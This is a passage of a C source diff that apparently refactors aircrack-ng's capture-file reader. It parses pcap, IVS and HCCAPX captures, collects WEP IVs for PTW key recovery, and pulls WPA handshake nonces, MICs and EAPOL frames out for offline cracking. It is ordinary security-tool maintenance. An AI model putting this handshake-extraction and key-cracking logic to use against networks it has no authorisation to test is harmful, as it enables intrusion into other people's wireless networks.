+	if (opt.bssidmerge) mergebssids(opt.bssidmerge, bssid);
 
-		if( ( h80211[z + 6] & 0x08 ) != 0 &&
-			( h80211[z + 6] & 0x40 ) == 0 &&
-			( h80211[z + 6] & 0x80 ) == 0 &&
-			( h80211[z + 5] & 0x01 ) != 0 )
-		{
-			if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
-			{
-				memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 );
+	if (memcmp(bssid, BROADCAST, 6) == 0)
+		/* probe request or such - skip the packet */
+		return 0;
 
-								 /* supplicant nonce set */
-				st_cur->wpa.state |= 2;
-			}
+	if (me->mode == PACKET_READER_READ_MODE)
+	{
+		if (memcmp(bssid, opt.bssid, 6) != 0) return 0;
+	}
 
-			if( (st_cur->wpa.state & 4) != 4 )
-			{
-				/* copy the MIC & eapol frame */
+	if (memcmp(opt.maddr, ZERO, 6) != 0 && memcmp(opt.maddr, BROADCAST, 6) != 0)
+	{
+		/* apply the MAC filter */
+		if (memcmp(opt.maddr, h80211 + 4, 6) != 0
+			&& memcmp(opt.maddr, h80211 + 10, 6) != 0
+			&& memcmp(opt.maddr, h80211 + 16, 6) != 0)
+			return 0;
+	}
 
-				st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
-					+   h80211[z + 3] + 4;
+	/* search for the station */
 
-				if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
-					|| pkh.len - z < st_cur->wpa.eapol_size)
-				{
-					// Ignore the packet trying to crash us.
-					st_cur->wpa.eapol_size = 0;
-					goto unlock_mx_apl;
-				}
+	int not_found = c_avl_get(access_points, bssid, (void **) ap_cur);
 
-				memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
-				memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
-				memset( st_cur->wpa.eapol + 81, 0, 16 );
-
-									/* eapol frame & keymic set */
-				st_cur->wpa.state |= 4;
+	/* if it's a new access point, add it */
+	if (not_found)
+	{
+		if (!(*ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
+		{
+			perror("malloc failed");
+			return -1;
+		}
 
-				/* copy the key descriptor version */
+		memset((*ap_cur), 0, sizeof(struct AP_info));
+		memcpy((*ap_cur)->bssid, bssid, 6);
 
-				st_cur->wpa.keyver = h80211[z + 6] & 7;
-			}
-		}
+		(*ap_cur)->crypt = -1;
 
-		/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+		// Shortcut to set encryption:
+		// - WEP is 2 for 'crypt' and 1 for 'amode'.
+		// - WPA is 3 for 'crypt' and 2 for 'amode'.
+		if (opt.forced_amode) (*ap_cur)->crypt = opt.amode + 1;
 
-		if( ( h80211[z + 6] & 0x08 ) != 0 &&
-			( h80211[z + 6] & 0x40 ) != 0 &&
-			( h80211[z + 6] & 0x80 ) != 0 &&
-			( h80211[z + 5] & 0x01 ) != 0 )
+		if (me->mode == PACKET_READER_READ_MODE && opt.do_ptw == 1)
 		{
-			if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 )
+			(*ap_cur)->ptw_clean = PTW_newattackstate();
+			if (!(*ap_cur)->ptw_clean)
 			{
-				memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
-
-								 /* authenticator nonce set */
-				st_cur->wpa.state |= 1;
+				perror("PTW_newattackstate()");
+				free(*ap_cur);
+				*ap_cur = NULL;
+				return -1;
 			}
-
-			if( (st_cur->wpa.state & 4) != 4 )
+			(*ap_cur)->ptw_vague = PTW_newattackstate();
+			if (!(*ap_cur)->ptw_vague)
 			{
-				/* copy the MIC & eapol frame */
-
-				st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
-					+   h80211[z + 3] + 4;
-
-				if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)
-					|| pkh.len - z < st_cur->wpa.eapol_size)
-				{
-					// Ignore the packet trying to crash us.
-					st_cur->wpa.eapol_size = 0;
-					goto unlock_mx_apl;
-				}
-
-				memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 );
-				memcpy( st_cur->wpa.eapol,  &h80211[z], st_cur->wpa.eapol_size );
-				memset( st_cur->wpa.eapol + 81, 0, 16 );
-
-									/* eapol frame & keymic set */
-				st_cur->wpa.state |= 4;
-
-				/* copy the key descriptor version */
-
-				st_cur->wpa.keyver = h80211[z + 6] & 7;
+				perror("PTW_newattackstate()");
+				free(*ap_cur);
+				*ap_cur = NULL;
+				return -1;
 			}
 		}
+		(*ap_cur)->stations = c_avl_create(station_compare);
+		append_ap(*ap_cur);
+	}
 
-		if( st_cur->wpa.state == 7 )
+	int rv = packet_reader__update_ap_info(
+		*ap_cur, fmt, buffer, h80211, ivs2, pkh, me);
+	if (rv != 0)
+	{
+		if (rv > 0)
 		{
-			/* got one valid handshake */
-
-			memcpy( st_cur->wpa.stmac, stmac, 6 );
-			memcpy( &ap_cur->wpa, &st_cur->wpa,
-				sizeof( struct WPA_hdsk ) );
+			// NOTE: skipping this AP base station.
+			*ap_cur = NULL;
+			return 1;
 		}
-
-		unlock_mx_apl:
-
-		pthread_mutex_unlock( &mx_apl );
-
-		if( ap_cur != NULL )
+		else
 		{
-			if( ( ap_cur->nb_ivs >= opt.max_ivs) ||
-			    ( ap_cur->nb_ivs_clean >= opt.max_ivs ) ||
-			    ( ap_cur->nb_ivs_vague >= opt.max_ivs ) )
-			{
-				eof_wait( &eof_notified );
-				free(buffer);
-				return;
-			}
+			// NOTE: an error occurred.
+			return rv;
 		}
 	}
 
-	read_fail:
-
-	if(rb.buf1 != NULL)
-	{
-		free(rb.buf1);
-		rb.buf1=NULL;
-	}
-	if(rb.buf2 != NULL)
-	{
-		free(rb.buf2);
-		rb.buf2=NULL;
-	}
-	if(buffer != NULL)
-	{
-		free(buffer);
-		buffer=NULL;
-	}
-
-	if(close_aircrack)
-		return;
-
-	//everything is going down
-	kill( 0, SIGTERM );
-	_exit( FAILURE );
+	return 0;
 }
 
-void check_thread( void *arg )
+/**
+ * Thread controlling the processing of packet data from a file or stream.
+ *
+ * This thread is called in one of two possible ways:
+ *
+ * a. With a BSSID specified from the command-line parameters.
+ *
+ * b. Without a BSSID specified in the command-line parameters.
+ *
+ * The goal of both is, to read one or more AP base-stations from the packet
+ * capture files given (passed inside of \a arg); producing our needed
+ * structures for later cracking.
+ *
+ * When a BSSID is specified, we ONLY read data relating to that BSSID. This
+ * mode is called PACKET_READER_READ_MODE.
+ *
+ * Otherwise, the entire file is loaded in to RAM. This mode is called
+ * PACKET_READER_CHECK_MODE.
+ *
+ * **NOTE**: This thread is joinable, and MUST be joined after use.
+ *
+ * @param arg A heap allocated, filled in \a packet_reader_t structure.
+ *            We handle releasing the memory upon function exit.
+ */
+static void packet_reader_thread(void * arg)
 {
-	int fd, n, fmt;
-	unsigned z;
-// 	int ret=0;
+	packet_reader_t * request = (packet_reader_t *) arg;
+	unsigned char * buffer = NULL;
+	read_buf rb = {0};
 
-	unsigned char bssid[6];
-	unsigned char dest[6];
-	unsigned char stmac[6];
-	unsigned char *buffer;
-	unsigned char *h80211;
-	unsigned char *p;
-	int weight[16];
+	int fd = -1;
+	int n;
+	int fmt;
 
-	struct ivs2_pkthdr ivs2;
-	struct ivs2_filehdr fivs2;
-	struct pcap_pkthdr pkh;
-	struct pcap_file_header pfh;
-	struct AP_info *ap_prv, *ap_cur;
-	struct ST_info *st_prv, *st_cur;
+	unsigned char bssid[6] = {0};
+	unsigned char dest[6] = {0};
+	unsigned char * h80211 = NULL;
+
+	struct ivs2_pkthdr ivs2 = {0};
+	struct ivs2_filehdr fivs2 = {0};
+	struct pcap_pkthdr pkh = {0};
+	struct pcap_file_header pfh = {0};
+	struct AP_info * ap_cur = NULL;
+
+	assert(request != NULL);
+	assert(request->filename != NULL);
+	assert((request->mode == PACKET_READER_CHECK_MODE)
+		   || (request->mode == PACKET_READER_READ_MODE));
 
-	memset( &crb, 0, sizeof( crb ) );
-	ap_cur = NULL;
+	signal(SIGINT, sighandler);
 
-	if( ( buffer = (unsigned char *) malloc( 65536 ) ) == NULL )
+	if ((buffer = (unsigned char *) malloc(65536)) == NULL)
 	{
 		/* there is no buffer */
-
-		perror( "malloc failed" );
+		perror("malloc failed");
 		goto read_fail;
 	}
 
 	h80211 = buffer;
 
-	if( ! opt.is_quiet )
-		printf( "Opening %s\n", (char *) arg );
+	if (!opt.is_quiet) printf("Opening %s\n", request->filename);
 
-	if( strcmp( arg, "-" ) == 0 )
+	if (strcmp(request->filename, "-") == 0)
 		fd = 0;
 	else
 	{
-		if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 )
+		if ((fd = open(request->filename, O_RDONLY | O_BINARY)) < 0)
 		{
-			perror( "open failed" );
+			fprintf(stderr,
+					"Failed to open '%s' (%d): %s\n",
+					request->filename,
+					errno,
+					strerror(errno));
 			goto read_fail;
 		}
 	}
 
-	if( ! atomic_read( &crb, fd, 4, &pfh ) )
+	if (!atomic_read(&rb, fd, 4, &pfh))
 	{
-		perror( "read(file header) failed" );
+		perror("read(file header) failed");
 		goto read_fail;
 	}
 
 	fmt = FORMAT_IVS;
-
-	if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 &&
-            memcmp( &pfh, IVS2_MAGIC, 4 ) != 0)
+	if (memcmp(&pfh, HCCAPX_MAGIC, 4) == 0)
+	{
+		fmt = FORMAT_HCCAPX;
+	}
+	else if (memcmp(&pfh, IVSONLY_MAGIC, 4) != 0
+			 && memcmp(&pfh, IVS2_MAGIC, 4) != 0)
 	{
 		fmt = FORMAT_CAP;
 
-		if( pfh.magic != TCPDUMP_MAGIC &&
-			pfh.magic != TCPDUMP_CIGAM )
+		if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
 		{
-			fprintf( stderr, "Unsupported file format "
-				"(not a pcap or IVs file).\n" );
+			fprintf(stderr,
+					"Unsupported file format "
+					"(not a pcap or IVs file).\n");
 			goto read_fail;
 		}
 
 		/* read the rest of the pcap file header */
 
-		if( ! atomic_read( &crb, fd, 20, (unsigned char *) &pfh + 4 ) )
+		if (!atomic_read(&rb, fd, 20, (unsigned char *) &pfh + 4))
 		{
-			perror( "read(file header) failed" );
+			perror("read(file header) failed");
 			goto read_fail;
 		}
 
 		/* take care of endian issues and check the link type */
 
-		if( pfh.magic == TCPDUMP_CIGAM )
-			SWAP32( pfh.linktype );
+		if (pfh.magic == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
 
-		if( pfh.linktype != LINKTYPE_IEEE802_11 &&
-			pfh.linktype != LINKTYPE_PRISM_HEADER &&
-			pfh.linktype != LINKTYPE_RADIOTAP_HDR &&
-			pfh.linktype != LINKTYPE_PPI_HDR )
-		{
-			fprintf( stderr, "This file is not a regular "
-				"802.11 (wireless) capture.\n" );
+		if (pfh.linktype != LINKTYPE_IEEE802_11
+			&& pfh.linktype != LINKTYPE_PRISM_HEADER
+			&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
+			&& pfh.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"This file is not a regular "
+					"802.11 (wireless) capture.\n");
 			goto read_fail;
 		}
-	} else
+	}
+	else
 	{
-		if( opt.wep_decloak )
+		if (opt.wep_decloak)
 		{
-			errx(1, "Can't use decloak wep mode with ivs\n"); /* XXX */
+			fprintf(stderr, "Can't use decloak wep mode with ivs\n");
+			goto read_fail;
 		}
-		if (memcmp( &pfh, IVS2_MAGIC, 4 ) == 0)
+
+		if (memcmp(&pfh, IVS2_MAGIC, 4) == 0)
 		{
 			fmt = FORMAT_IVS2;
 
-			if( ! atomic_read( &crb, fd, sizeof(struct ivs2_filehdr), (unsigned char *) &fivs2 ) )
+			if (!atomic_read(&rb,
+							 fd,
+							 sizeof(struct ivs2_filehdr),
+							 (unsigned char *) &fivs2))
 			{
-				perror( "read(file header) failed" );
+				perror("read(file header) failed");
 				goto read_fail;
 			}
-			if(fivs2.version > IVS2_VERSION)
+
+			if (fivs2.version > IVS2_VERSION)
 			{
-				printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION );
+				fprintf(stderr,
+						"Error, wrong %s version: %d. Supported up to version "
+						"%d.\n",
+						IVS2_EXTENSION,
+						fivs2.version,
+						IVS2_VERSION);
 				goto read_fail;
 			}
-		} else if (opt.do_ptw)
-			errx(1, "Can't do PTW with old IVS files, recapture without --ivs or use airodump-ng >= 1.0\n"); /* XXX */
+		}
+		else if (opt.do_ptw)
+		{
+			fprintf(stderr,
+					"Can't do PTW with old IVS files, recapture without --ivs "
+					"or use airodump-ng >= 1.0\n");
+			goto read_fail;
+		}
 	}
-	/* avoid blocking on reading the file */
 
-	if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 )
+	/* avoid blocking on reading the file */
+	if (fcntl(fd, F_SETFL, O_NONBLOCK) < 0)
 	{
-		perror( "fcntl(O_NONBLOCK) failed" );
+		perror("fcntl(O_NONBLOCK) failed");
 		goto read_fail;
 	}
 
-	while( 1 )
+	while (1)
 	{
-		if(close_aircrack)
-			break;
+		if (close_aircrack) break;
 
-		if( fmt == FORMAT_IVS )
+		if (fmt == FORMAT_IVS)
 		{
 			/* read one IV */
+			if (!atomic_read(&rb, fd, 1, buffer)) goto done_reading;
 
-			while( ! atomic_read( &crb, fd, 1, buffer ) )
-				goto read_fail;
+			if (close_aircrack) break;
 
-			if( buffer[0] != 0xFF )
+			if (buffer[0] != 0xFF)
 			{
 				/* new access point MAC */
-
 				bssid[0] = buffer[0];
 
-				while( ! atomic_read( &crb, fd, 5, bssid + 1 ) )
-					goto read_fail;
+				if (!atomic_read(&rb, fd, 5, bssid + 1)) goto done_reading;
 			}
 
-			while( ! atomic_read( &crb, fd, 5, buffer ) )
-				goto read_fail;
+			if (!atomic_read(&rb, fd, 5, buffer)) goto done_reading;
 		}
-		else if( fmt == FORMAT_IVS2 )
+		else if (fmt == FORMAT_IVS2)
 		{
-			while( ! atomic_read( &crb, fd, sizeof( struct ivs2_pkthdr ), &ivs2 ) )
-				goto read_fail;
+			if (!atomic_read(&rb, fd, sizeof(struct ivs2_pkthdr), &ivs2))
+				goto done_reading;
 
-			if(ivs2.flags & IVS2_BSSID)
+			if (ivs2.flags & IVS2_BSSID)
 			{
-				while( ! atomic_read( &crb, fd, 6, bssid ) )
-					goto read_fail;
+				if (!atomic_read(&rb, fd, 6, bssid)) goto done_reading;
+
 				ivs2.len -= 6;
 			}
 
-			while( ! atomic_read( &crb, fd, ivs2.len, buffer ) )
-				goto read_fail;
+			if (!atomic_read(&rb, fd, ivs2.len, buffer)) goto done_reading;
+		}
+		else if (fmt == FORMAT_HCCAPX)
+		{
+			load_hccapx_file(fd);
+			goto done_reading;
 		}
 		else
 		{
-			while( ! atomic_read( &crb, fd, sizeof( pkh ), &pkh ) )
-				goto read_fail;
+			if (!atomic_read(&rb, fd, sizeof(pkh), &pkh)) goto done_reading;
 
-			if( pfh.magic == TCPDUMP_CIGAM ) {
-				SWAP32( pkh.caplen );
-				SWAP32( pkh.len );
+			if (pfh.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
 			}
 
-			if( pkh.caplen <= 0 || pkh.caplen > 65535 )
+			if (pkh.caplen <= 0 || pkh.caplen > 65535)
 			{
-				fprintf( stderr, "\nInvalid packet capture length %d - "
-					"corrupted file?\n", pkh.caplen );
-				goto read_fail;
+				fprintf(stderr,
+						"\nInvalid packet capture length %lu - "
+						"corrupted file?\n",
+						(unsigned long) pkh.caplen);
+				goto done_reading;
 			}
 
-			while( ! atomic_read( &crb, fd, pkh.caplen, buffer ) )
-				goto read_fail;
+			if (!atomic_read(&rb, fd, pkh.caplen, buffer)) goto done_reading;
 
 			h80211 = buffer;
 
-			if( pfh.linktype == LINKTYPE_PRISM_HEADER )
+			if (pfh.linktype == LINKTYPE_PRISM_HEADER)
 			{
 				/* remove the prism header */
-
-				if( h80211[7] == 0x40 )
+				if (h80211[7] == 0x40)
 					n = 64;
 				else
 				{
-					n = *(int *)( h80211 + 4 );
+					n = *(int *) (h80211 + 4);
 
-					if( pfh.magic == TCPDUMP_CIGAM )
-						SWAP32( n );
+					if (pfh.magic == TCPDUMP_CIGAM) SWAP32(n);
 				}
 
-				if( n < 8 || n >= (int) pkh.caplen )
-					continue;
+				if (n < 8 || n >= (int) pkh.caplen) continue;
 
-				h80211 += n; pkh.caplen -= n;
+				h80211 += n;
+				pkh.caplen -= n;
 			}
 
-			if( pfh.linktype == LINKTYPE_RADIOTAP_HDR )
+			else if (pfh.linktype == LINKTYPE_RADIOTAP_HDR)
 			{
 				/* remove the radiotap header */
+				n = *(unsigned short *) (h80211 + 2);
 
-				n = *(unsigned short *)( h80211 + 2 );
-
-				if( n <= 0 || n >= (int) pkh.caplen )
-					continue;
+				if (n <= 0 || n >= (int) pkh.caplen) continue;
 
-				h80211 += n; pkh.caplen -= n;
+				h80211 += n;
+				pkh.caplen -= n;
 			}
 
-			if( pfh.linktype == LINKTYPE_PPI_HDR )
+			else if (pfh.linktype == LINKTYPE_PPI_HDR)
 			{
 				/* Remove the PPI header */
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
 
-				n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
+				if (n <= 0 || n >= (int) pkh.caplen) continue;
 
-				if( n <= 0 || n>= (int) pkh.caplen )
-					continue;
-
-				/* for a whole Kismet logged broken PPI headers */
-				if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
 					n = 32;
 
-				if( n <= 0 || n>= (int) pkh.caplen )
-					continue;
+				if (n <= 0 || n >= (int) pkh.caplen) continue;
 
-				h80211 += n; pkh.caplen -= n;
+				h80211 += n;
+				pkh.caplen -= n;
 			}
-		}
-
-		/* prevent concurrent access on the linked list */
-
-		pthread_mutex_lock( &mx_apl );
-
-		nb_pkt++;
-
-		if( fmt == FORMAT_CAP )
-		{
-			/* skip packets smaller than a 802.11 header */
-
-			if( pkh.caplen < 24 )
-				goto unlock_mx_apl;
-
-			/* skip (uninteresting) control frames */
-
-			if( ( h80211[0] & 0x0C ) == 0x04 )
-				goto unlock_mx_apl;
-
-			/* locate the access point's MAC address */
-
-			switch( h80211[1] & 3 )
-			{
-				case  0: memcpy( bssid, h80211 + 16, 6 ); break;  //Adhoc
-				case  1: memcpy( bssid, h80211 +  4, 6 ); break;  //ToDS
-				case  2: memcpy( bssid, h80211 + 10, 6 ); break;  //FromDS
-				case  3: memcpy( bssid, h80211 + 10, 6 ); break;  //WDS -> Transmitter taken as BSSID
-			}
-
-			switch( h80211[1] & 3 )
+			else if (pfh.linktype == LINKTYPE_IEEE802_11)
 			{
-				case  0: memcpy( dest, h80211 +  4, 6 ); break;  //Adhoc
-				case  1: memcpy( dest, h80211 + 16, 6 ); break;  //ToDS
-				case  2: memcpy( dest, h80211 +  4, 6 ); break;  //FromDS
-				case  3: memcpy( dest, h80211 + 16, 6 ); break;  //WDS -> Transmitter taken as BSSID
+				/* nothing to do */
 			}
-
-			//skip corrupted keystreams in wep decloak mode
-			if(opt.wep_decloak)
-			{
-				if(dest[0] == 0x01)
-					goto unlock_mx_apl;
-			}
-		}
-
-		if(opt.bssidmerge)
-			mergebssids(opt.bssidmerge, bssid);
-
-		if( memcmp( bssid, BROADCAST, 6 ) == 0 )
-			/* probe request or such - skip the packet */
-			goto unlock_mx_apl;
-
-		if( memcmp( opt.maddr, ZERO,      6 ) != 0 &&
-			memcmp( opt.maddr, BROADCAST, 6 ) != 0 )
-		{
-			/* apply the MAC filter */
-
-			if( memcmp( opt.maddr, h80211 +  4, 6 ) != 0 &&
-				memcmp( opt.maddr, h80211 + 10, 6 ) != 0 &&
-				memcmp( opt.maddr, h80211 + 16, 6 ) != 0 )
-				goto unlock_mx_apl;
-		}
-
-		/* search the linked list */
-
-		ap_prv = NULL;
-		ap_cur = ap_1st;
-
-		while( ap_cur != NULL )
-		{
-			if( ! memcmp( ap_cur->bssid, bssid, 6 ) )
-				break;
-
-			ap_prv = ap_cur;
-			ap_cur = ap_cur->next;
-		}
-
-		/* if it's a new access point, add it */
-
-		if( ap_cur == NULL )
-		{
-			if( ! ( ap_cur = (struct AP_info *) malloc(
-				sizeof( struct AP_info ) ) ) )
-			{
-				perror( "malloc failed" );
-				pthread_mutex_unlock( &mx_apl );
-				break;
-			}
-
-			memset( ap_cur, 0, sizeof( struct AP_info ) );
-
-			if( ap_1st == NULL )
-				ap_1st = ap_cur;
 			else
-				ap_prv->next = ap_cur;
-
-			memcpy( ap_cur->bssid, bssid, 6 );
-
-			ap_cur->crypt = -1;
-
-			// Shortcut to set encryption:
-			// - WEP is 2 for 'crypt' and 1 for 'amode'.
-			// - WPA is 3 for 'crypt' and 2 for 'amode'.
-			if (opt.forced_amode)
-				ap_cur->crypt = opt.amode + 1;
-		}
-
-		if( fmt == FORMAT_IVS )
-		{
-			ap_cur->crypt = 2;
-
-			add_wep_iv:
-			/* check for uniqueness first */
-
-			if( ap_cur->nb_ivs == 0 )
-				ap_cur->uiv_root = uniqueiv_init();
-
-			if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
 			{
-				uniqueiv_mark( ap_cur->uiv_root, buffer );
-				ap_cur->nb_ivs++;
-			}
-
-			goto unlock_mx_apl;
-		}
-
-		if( fmt == FORMAT_IVS2 )
-		{
-			if(ivs2.flags & IVS2_ESSID)
-			{
-				if (ivs2.len > 32) { // Max length of the ESSID (and length -1 of that field)
-					fprintf(stderr, "Invalid SSID length, it must be <= 32\n");
-					exit(1);
-				}
-				memcpy( ap_cur->essid, buffer, ivs2.len);
-				if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) )
-					memcpy( opt.bssid, ap_cur->bssid, 6 );
-			}
-			else if(ivs2.flags & IVS2_XOR)
-			{
-				ap_cur->crypt = 2;
-
-				if (opt.do_ptw) {
-					int clearsize;
-
-					clearsize = ivs2.len;
-
-					if (clearsize < opt.keylen+3)
-						goto unlock_mx_apl;
-				}
-
-				if( ap_cur->nb_ivs == 0 )
-					ap_cur->uiv_root = uniqueiv_init();
-
-				if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
-				{
-					uniqueiv_mark( ap_cur->uiv_root, buffer );
-					ap_cur->nb_ivs++;
-				}
-			}
-			else if(ivs2.flags & IVS2_PTW)
-			{
-				ap_cur->crypt = 2;
-
-				if (opt.do_ptw) {
-					int clearsize;
-
-					clearsize = ivs2.len;
-
-					if (buffer[5] < opt.keylen)
-						goto unlock_mx_apl;
-					if( clearsize < (6 + buffer[4]*32 + 16*(signed)sizeof(int)) )
-						goto unlock_mx_apl;
-				}
-
-				if( ap_cur->nb_ivs == 0 )
-					ap_cur->uiv_root = uniqueiv_init();
-
-				if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 )
-				{
-					uniqueiv_mark( ap_cur->uiv_root, buffer );
-					ap_cur->nb_ivs++;
-				}
-			}
-			else if(ivs2.flags & IVS2_WPA)
-			{
-				ap_cur->crypt = 3;
-				memcpy( &ap_cur->wpa, buffer,
-					sizeof( struct WPA_hdsk ) );
-			}
-			goto unlock_mx_apl;
-		}
-
-		/* locate the station MAC in the 802.11 header */
-
-		st_cur = NULL;
-
-		switch( h80211[1] & 3 )
-		{
-			case  0: memcpy( stmac, h80211 + 10, 6 ); break;
-			case  1: memcpy( stmac, h80211 + 10, 6 ); break;
-			case  2:
-
-				/* reject broadcast MACs */
-
-				if( (h80211[4]%2) != 0 ) goto skip_station;
-				memcpy( stmac, h80211 +  4, 6 ); break;
-
-			default: goto skip_station; break;
-		}
-
-		st_prv = NULL;
-		st_cur = ap_cur->st_1st;
-
-		while( st_cur != NULL )
-		{
-			if( ! memcmp( st_cur->stmac, stmac, 6 ) )
-				break;
-
-			st_prv = st_cur;
-			st_cur = st_cur->next;
-		}
-
-		/* if it's a new supplicant, add it */
-
-		if( st_cur == NULL )
-		{
-			if( ! ( st_cur = (struct ST_info *) malloc(
-				sizeof( struct ST_info ) ) ) )
-			{
-				perror( "malloc failed" );
-				pthread_mutex_unlock( &mx_apl );
-				break;
-			}
-
-			memset( st_cur, 0, sizeof( struct ST_info ) );
-
-			if( ap_cur->st_1st == NULL )
-				ap_cur->st_1st = st_cur;
-			else
-				st_prv->next = st_cur;
-
-			memcpy( st_cur->stmac, stmac, 6 );
-		}
-
-		skip_station:
-
-		/* packet parsing: Beacon or Probe Response */
-
-		if( h80211[0] == 0x80 ||
-			h80211[0] == 0x50 )
-		{
-			if( ap_cur->crypt < 0 )
-				ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4;
-
-			p = h80211 + 36;
-
-			while( p < h80211 + pkh.caplen )
-			{
-				if( p + 2 + p[1] > h80211 + pkh.caplen )
-					break;
-
-				if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' )
-				{
-					/* found a non-cloaked ESSID */
-
-					n = ( p[1] > 32 ) ? 32 : p[1];
-
-					memset( ap_cur->essid, 0, 33 );
-					memcpy( ap_cur->essid, p + 2, n );
-					if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) )
-						memcpy( opt.bssid, ap_cur->bssid, 6 );
-				}
-
-				p += 2 + p[1];
-			}
-		}
-
-		/* packet parsing: Association Request */
-
-		if( h80211[0] == 0x00 )
-		{
-			p = h80211 + 28;
-
-			while( p < h80211 + pkh.caplen )
-			{
-				if( p + 2 + p[1] > h80211 + pkh.caplen )
-					break;
-
-				if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' )
-				{
-					n = ( p[1] > 32 ) ? 32 : p[1];
-
-					memset( ap_cur->essid, 0, 33 );
-					memcpy( ap_cur->essid, p + 2, n );
-					if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) )
-						memcpy( opt.bssid, ap_cur->bssid, 6 );
-				}
-
-				p += 2 + p[1];
-			}
-
-			/* reset the WPA handshake state */
-
-			if( st_cur != NULL )
-				st_cur->wpa.state = 0;
-		}
-
-		/* packet parsing: Association Response */
-
-		if( h80211[0] == 0x10 )
-		{
-			/* reset the WPA handshake state */
-
-			if( st_cur != NULL )
-				st_cur->wpa.state = 0;
-		}
-
-		/* check if data */
-
-		if( ( h80211[0] & 0x0C ) != 0x08 )
-			goto unlock_mx_apl;
-
-		/* check minimum size */
-
-		z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-		if ( ( h80211[0] & 0x80 ) == 0x80 )
-			z+=2; /* 802.11e QoS */
-
-		if( z + 16 > pkh.caplen )
-			goto unlock_mx_apl;
-
-		/* check the SNAP header to see if data is encrypted */
-
-		if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
-		{
-			if( !opt.forced_amode )
-			ap_cur->crypt = 2;	 /* encryption = WEP */
-
-			/* check the extended IV flag */
-
-			if( ( h80211[z + 3] & 0x20 ) != 0 && !opt.forced_amode)
-			{
-				/* encryption = WPA */
-				ap_cur->crypt = 3;
-			}
-
-			/* check the WEP key index */
-
-			if( opt.index != 0 &&
-				( h80211[z + 3] >> 6 ) != opt.index - 1 )
-				goto unlock_mx_apl;
-
-			if (opt.do_ptw) {
-				unsigned char *body = h80211 + z;
-				int dlen = pkh.caplen - (body-h80211) - 4 -4;
-				unsigned char clear[2048];
-				int clearsize, k;
-
-                                if((h80211[1] & 0x03) == 0x03) //30byte header
-                                {
-                                    body += 6;
-                                    dlen -=6;
-                                }
-
-				/* calculate keystream */
-				k = known_clear(clear, &clearsize, weight, h80211, dlen);
-				if (clearsize < (opt.keylen+3))
-					goto unlock_mx_apl;
+				fprintf(stderr, "unsupported linktype %d\n", pfh.linktype);
+				continue;
 			}
-
-			/* save the IV & first two output bytes */
-
-			memcpy( buffer    , h80211 + z    , 3 );
-			goto add_wep_iv;
-		}
-
-		if( ap_cur->crypt < 0 )
-			ap_cur->crypt = 0;	 /* no encryption */
-
-		/* if ethertype == IPv4, find the LAN address */
-
-		z += 6;
-
-		if( z + 20 < pkh.caplen )
-		{
-			if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 &&
-				( h80211[1] & 3 ) == 0x01 )
-				memcpy( ap_cur->lanip, &h80211[z + 14], 4 );
-
-			if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 )
-				memcpy( ap_cur->lanip, &h80211[z + 16], 4 );
-		}
-
-		/* check ethertype == EAPOL */
-
-		if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E )
-			goto unlock_mx_apl;
-
-		z += 2;
-
-		ap_cur->eapol = 1;
-
-		/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
-
-		if( h80211[z + 1] != 0x03 ||
-			( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) )
-			goto unlock_mx_apl;
-
-		ap_cur->eapol = 0;
-		ap_cur->crypt = 3;		 /* set WPA */
-
-		if( st_cur == NULL )
-		{
-			pthread_mutex_unlock( &mx_apl );
-			continue;
 		}
 
-		/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-		if( ( h80211[z + 6] & 0x08 ) != 0 &&
-			( h80211[z + 6] & 0x40 ) == 0 &&
-			( h80211[z + 6] & 0x80 ) != 0 &&
-			( h80211[z + 5] & 0x01 ) == 0 )
-		{
-			memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 );
+		pthread_mutex_lock(&mx_apl);
 
-			/* authenticator nonce set */
-			st_cur->wpa.state = 1;
-		}
+		int rv = packet_reader_process_packet(
